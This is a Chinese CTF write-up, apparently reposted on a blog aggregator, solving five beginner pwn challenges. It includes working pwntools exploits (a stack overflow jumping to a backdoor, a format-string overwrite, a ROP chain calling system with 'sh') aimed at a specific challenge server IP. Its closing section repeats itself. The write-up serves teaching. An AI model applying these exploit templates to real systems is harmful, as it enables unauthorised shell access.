pwn的五道基础题

文章目录

    • 一:ret2text
      • 1:服务器地址与端口号
      • 2:传入参数
      • 3:参数的接收范围
      • 4:找到bin/sh所在的地址
    • 二:your_nc
    • 三:overflow
    • 四:printf
      • 1:找到如何进入/bin/sh
      • 2:找到sth的地址
      • 3:获得格式化字符串的偏移量
    • 五:rop
      • 拓展:

一:ret2text

from pwn import *
context.arch="amd64"
io=remote("101.34.90.86",10002)
secure_addr=0x400852
payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)
io.sendlineafter("name",payload)
io.interactive()


我们需要获取四个部分

1:服务器地址与端口号

题目会直接给你,比如这道题目的地址为node2.zjnuoj.com,端口号为38011,对应上述脚本的io=remote(“101.34.90.86”,10002)

pwn的五道基础题_第1张图片

如果你不想填入域名,而想填入端口号,打开cmd,输入ping node2.zjnuoj.com即可获得

2:传入参数

一般ret2text会有一个接收参数的方法,我们需要使传入的参数大于他自定义的参数范围既可pwn穿。

将ret2text文件拖入IDA中,找到main函数后双击
pwn的五道基础题_第2张图片

按F5反汇编

pwn的五道基础题_第3张图片

找到三个方法后都点进去看看

pwn的五道基础题_第4张图片

观察到是get接收,同时问题是tell me your name,所以其中有个参数为name,则填入

io.sendlineafter(“name”,payload)

如果问的问题是:tell me anything,则填入的参数为:

io.sendlineafter("?",payload)

3:参数的接收范围

我们发现范围是0-10h,则我们填入payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)

pwn的五道基础题_第5张图片

如果我们发现范围为1-64h,则我们填入:payload=b"a"*0x64+b"a"*0x8+p64(secure_addr)

4:找到bin/sh所在的地址

按Shift+F12进行全局搜索

pwn的五道基础题_第6张图片

pwn的五道基础题_第7张图片

发现在backdoor方法里

我们在左边的边框找到backdoor

pwn的五道基础题_第8张图片

点进去

pwn的五道基础题_第9张图片

然后按tab键,有时候按tab+空格键

找到地址为400852,填入

secure_addr=0x400852

将脚本拖到虚拟机中,在此处打开终端,输入

python3 exp.py

pwn的五道基础题_第10张图片

cat flag.txt即可获得flag

二:your_nc

先运行一下试试

端口号题目给出了:101.34.90.86 10004

pwn的五道基础题_第11张图片

这个题目没什么原则,运行一下就发现可以进入了,然后直接ls再cat一下就好了

三:overflow

这个题目的端口号为:101.34.90.86 10000

我们还是把他拖到IDA中

我们分析代码,看到scanf知道题目要我们输入两个参数v5和v4,unsigned表示无符号数》1表示右移一位,右移表示除以2,abs表示取绝对值

所以v6的值为(v4+v5)/2+|(v5-v4)|/2,注意前为无符号,后为有符号

所以其实v6就是求两者的最大值

如果输入的数不是整数,则返回too young

然后令v7=v5*v4

如果v6等于v7,则返回一个假的flag,如果v6<=v7,则返回Well…but where is the flag?

所以得到flag当然需要v6>v7

我们又知道,负数的无符号数要大于正数的无符号数

因为负数的无符号数为1XXXXXXX

而正数的无符号数为0XXXXXXX

所以我们只需要输入两个数字,两个数字都为负数即可。

四:printf

端口号:101.34.90.86 10001

from pwn import *

context.arch="amd64"

io=remote("101.34.90.86",10001)
# io =process("./printf")

sth_addr=0x60108C

io.recvuntil("Give me something to printf:")
# 6表示字符串偏移,将sth_addr改为114514
payload = fmtstr_payload(6,{sth_addr:114514})
io.send(payload)

io.interactive()

1:找到如何进入/bin/sh

首先还是观察一下main函数pwn的五道基础题_第12张图片

函数告诉我们当sth==114514时我们可以进入bin/sh

2:找到sth的地址

我们直接点进去发现60108C是sth的地址

pwn的五道基础题_第13张图片

3:获得格式化字符串的偏移量

首先运行文件输入./printf

发现权限不够,则输入chmod 777 printf

然后输入aaaaaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

pwn的五道基础题_第14张图片

我们数一数发现a到0x61(包括0x61)的有6个偏移量

则payload = fmtstr_payload(6,{sth_addr:114514})

将exp拖入虚拟机中运行

pwn的五道基础题_第15张图片

五:rop

端口号为:“101.34.90.86”,10003

脚本:

from pwn import *

context.arch="amd64"

io=remote("101.34.90.86",10003)
# io =process("./rop")
elf=ELF("./rop")

# 表示全局搜索elf文件中名称为“system”的函数
system_addr=elf.sym["system"]

# \x00表示字符串中止标记,即找到含有sh的字符串,b是字符串标记
# elf.search表示获得含有sh字符串地址的列表,next表示获得列表中的第一个地址
sh_addr=next(elf.search(b"sh\x00"))

# asm表示将“pop rdi;ret”编译为二进制代码
pop_rdi_ret=next(elf.search(asm("pop rdi; ret")))
# 获得含有return的地址
ret_addr=next(elf.search(asm("ret")))

# bi0xbi0x表示八个字节的占位符,也可以写成0x8
# p64(ret_addr)是为了补充位数,没有其他特别含义
payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)
# p64表示翻译为0与1,进行字符串+即执行每个地址对应的指令
payload+=p64(pop_rdi_ret)+p64(sh_addr)+p64(system_addr)


io.sendline(payload)

io.interactive()

我们还是在IDA中打开,双击查看mian。然后F5反汇编

pwn的五道基础题_第16张图片

每个函数都查看一下发现:

pwn的五道基础题_第17张图片

这个就是在告诉我们偏移地址

payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)

同时我们需要找到/bin/sh文件的位置,按shift+f12,发现没有/bin/sh,但是有/bin/woodwhale

pwn的五道基础题_第18张图片

所以我们接下俩的操作为:

1:获取代码中任意一个函数的地址

system_addr=elf.sym[“system”]

2:获取含有sh的字符串的地址

sh_addr=next(elf.search(b"sh\x00"))

3:获得pop rdi ret的地址

pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

所以这个题目我们需要干什么呢?

我们希望执行/bin/sh来进入对方的终端,但是我们并不知道/bin/sh的地址,但是我们可以找到一个函数,然后在函数中传入sh这个参数,这样我们就相当于执行/bin/sh了,那我们怎么往函数中传入参数呢。

首先我们获得sh这个字符串的地址,然后执行pop rdi ret。pop rdi是指将sh存放进入rdi中,同时rip这个指针指向sh。但是pop会导致sh不在程序执行流,所以要加一个ret,来回到程序执行流,最后我们使用p64(system_addr)来执行system即执行/bin/sh

在虚拟机中执行

pwn的五道基础题_第19张图片

拓展:

1:为什么使用rdi

因为我们需要用到寄存器来存放地址,除了rdi以外我们还可以使用rsi rdx rcx r8 r9

2:获取地址有没有其他方式

我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

其实我们也可以直接获得pop rdi ret这个操作的地址

pwn的五道基础题_第20张图片

所以我们也可以直接写成

pop_rdi_ret=0x00000000004008d3


没有其他方式

我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

其实我们也可以直接获得pop rdi ret这个操作的地址

pwn的五道基础题_第21张图片
pwn的五道基础题_第22张图片

pop_rdi_ret=0x00000000004008d3

pwn的五道基础题_第23张图片

你可能感兴趣的:(CTF,python,网络安全)